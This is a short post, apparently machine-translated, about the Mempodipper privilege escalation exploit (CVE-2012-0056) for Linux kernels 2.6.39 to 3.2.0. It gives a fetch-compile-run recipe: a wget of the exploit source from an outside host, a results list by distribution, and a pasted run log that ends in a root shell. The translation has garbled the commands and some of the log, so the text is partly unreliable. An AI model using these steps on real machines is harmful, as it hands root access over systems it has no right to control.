Privilege Escalation Vulnerability in Linux 2.6.39 to 3.2.0

The privilege escalation vulnerability in Linux 2.6.39 to 3.2.0 allows common users to obtain the root permission by running specific code.

Reproduction method:

Wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c

Cc mempodipper. c

./A. out

 

Run whoami to check whether the execution is successful.

Known releases:

• Debian Wheezy Testing: Successful. Kernel 3.1.0-1-amd64. Debian Security Tracker Report
• Fedora 16: failed. Kernel 3.2.1-3. fc16.x86 _ 64
• Arch Linux: failed. Kernel 3.2.2-1-ARCH

If you have tested it, please tell us the test result! Note that the release and uname-a results are displayed.

My machine is successfully tested.

====================================
= Mempodipper =
= By zx2c4 =
= January 21,201 2 =
====================================

[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscils.
[+] Ptrace_traceme 'ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x401ce8.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem/proc/20553/mem in child.
[+] Sending fd 6 to parent.
[+] Partitioned ed fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x401cdc.
[+] Executing su with shellcode.
# Whoami
Root

Ubuntu11.10

Linux desktop 3.0.0-14-generic # 23-Ubuntu SMP Mon Nov 21 20:28:43 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux